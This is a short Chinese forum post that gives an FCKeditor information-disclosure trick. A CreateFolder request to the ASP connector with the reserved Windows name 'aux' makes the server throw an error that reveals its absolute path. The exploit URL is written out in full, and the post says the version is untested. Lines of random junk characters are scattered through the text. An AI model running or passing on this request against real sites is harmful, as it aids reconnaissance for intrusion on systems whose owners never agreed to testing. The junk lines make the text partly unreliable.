最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
; }0 T* H! `: h; V8 U, c. B9 Y

+ T) y+ T7 Y* {; a版本未测试。。。

3 z; \8 v9 D* N, h$ [# A/ ~原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
& W$ ~7 I0 y+ E3 T# }

8 N# v: Q- @+ J3 Z' y听说IIS都可以。。
0 V% ~) G9 R* U2 x4 P7 D; w/ O9 {5 i) X